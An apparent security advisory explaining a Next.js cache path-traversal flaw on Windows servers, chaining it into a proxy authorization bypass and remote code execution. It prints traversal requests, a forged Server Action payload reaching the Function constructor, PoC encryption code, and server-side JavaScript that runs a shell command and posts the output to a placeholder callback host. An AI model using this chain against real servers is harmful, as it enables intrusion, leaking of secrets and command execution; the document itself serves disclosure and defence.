contents [03]
  1. Proxy Bypass Chain
  2. RCE Chain
  3. From the Key to RCE

Summary

Next.js published CVE-2026-75604 for a flaw in FileSystemCache on self-hosted Windows servers.

By the time a request reached the cache, %5C had been decoded into \. On Windows, this backslash is a directory separator. A cache key containing ..\ could therefore escape the expected directory and make Next.js read or write other files inside .next/server.

This primitive enabled at least two impact chains: Proxy authorization bypass and RCE.

Proxy Bypass Chain

The bypass chain helps explain the underlying flaw:

  • The Proxy protects a route such as /premium.
  • The attacker requests /posts/..%5Cpremium.
  • The Proxy treats this URL as a route different from /premium.
  • On Windows, FileSystemCache interprets ..\ as directory traversal.
  • The key ends up pointing to the static artifact for /premium.
  • The cache returns the protected content without applying the correct Proxy rule.

The flaw only works on Windows because \ is a directory separator there. On Linux and macOS, \ is only a regular character in the filename.

RCE Chain

Understanding the RCE chain requires four Next.js concepts:

  • ISR (Incremental Static Regeneration): generates static pages on demand and stores their artifacts in the disk cache.
  • Pages Router: the older system based on pages/. Each ISR page dynamically generates a pair of .html and .json files.
  • App Router: the newer system based on app/, React Server Components, and Server Actions. Its cache uses .html, .rsc, and .meta files.
  • server-reference-manifest.json: a private manifest that contains Server Action IDs and the encryptionKey.

The two routers use different formats:

Pages Router: <key>.html + <key>.json
App Router:   <key>.html + <key>.rsc + <key>.meta

Both routers are essential because each provides one part of the chain.

First, the attacker requests an App Router ISR route with traversal:

GET /app-cache/..%5C..%5Cserver-reference-manifest

The App Router does not find this cache entry, renders the page, and writes new artifacts. The normal destination would be .next/server/app/app-cache/<route>. On Windows, the ..\ segments move the path two directories up, changing the destination to:

.next/server/server-reference-manifest.html
.next/server/server-reference-manifest.rsc
.next/server/server-reference-manifest.meta

The private manifest containing the encryptionKey secret was already in the same directory:

.next/server/server-reference-manifest.json

The App Router does not overwrite this JSON file because its cache format uses RSC. It only creates an .html file with the same base name.

The attacker then makes a data request through the Pages Router, again using traversal. The Pages Router cache automatically looks for an .html and .json pair matching the requested page name, server-reference-manifest:

server-reference-manifest.html
server-reference-manifest.json

The .html file created by the earlier App Router request makes this pair look like a valid ISR page. The Pages Router interprets the private manifest containing the secret as page JSON data and returns it to the attacker.

The attacker now has the Server Action IDs and the encryptionKey.

From the Key to RCE

A Server Action can use values defined outside its function. Those values are captured by the closure:

const messageFactory = createSafeMessage

async function runMessageFactory(formData) {
  'use server'

  const createMessage = await messageFactory(formData.get('value'))
  return createMessage()
}

The action uses messageFactory even though it was defined outside the action. Because the action will later run through an HTTP request, Next.js serializes this value, encrypts it with the encryptionKey, and includes it in the form’s internal fields.

  • In this case, the closure is the context that keeps the external messageFactory variable accessible, pointing to the legitimate createSafeMessage function. With the encryptionKey, the attacker can forge this captured value, replace it with the Function constructor, and make the action call an arbitrary function.

The key prevents the client from changing captured values. Once it leaks, an attacker can create an encrypted closure that the server accepts as legitimate.

This is the RSC/Flight payload used in the exploit:

1:{}
0:["$1:constructor:constructor"]

In the PoC, it is built and encrypted as follows:

flight = b'1:{}\n0:["$1:constructor:constructor"]\n'
plaintext = action_id.encode() + flight
ciphertext = AESGCM(encryption_key).encrypt(iv, plaintext, None)

During deserialization, the constructor:constructor reference reaches the JavaScript Function constructor. It replaces the legitimate captured function:

messageFactory = Function

In practice, the action starts executing:

const createMessage = Function(formData.get('value'))
return createMessage()

The attacker-controlled field becomes the body of a JavaScript function. When the action calls createMessage(), the code runs on the server.

In the exploit, the encrypted closure value is forged to reference the Function constructor. The code passed to this constructor and executed on the server is equivalent to the following:

const cp = process.mainModule.require("node:child_process");
const http = process.mainModule.require("node:http");

const output = cp.execFileSync(
  "cmd.exe",
  ["/d", "/s", "/c", "whoami"],
  { encoding: "utf8" }
);

const body = String(output);

const request = http.request({
  host: "CALLBACK_IP",
  port: 4331,
  path: "/result/TOKEN",
  method: "POST",
  headers: {
    "Content-Type": "text/plain",
    "Content-Length": Buffer.byteLength(body)
  }
}, () => {});

request.on("error", () => {});
request.end(body);

return body;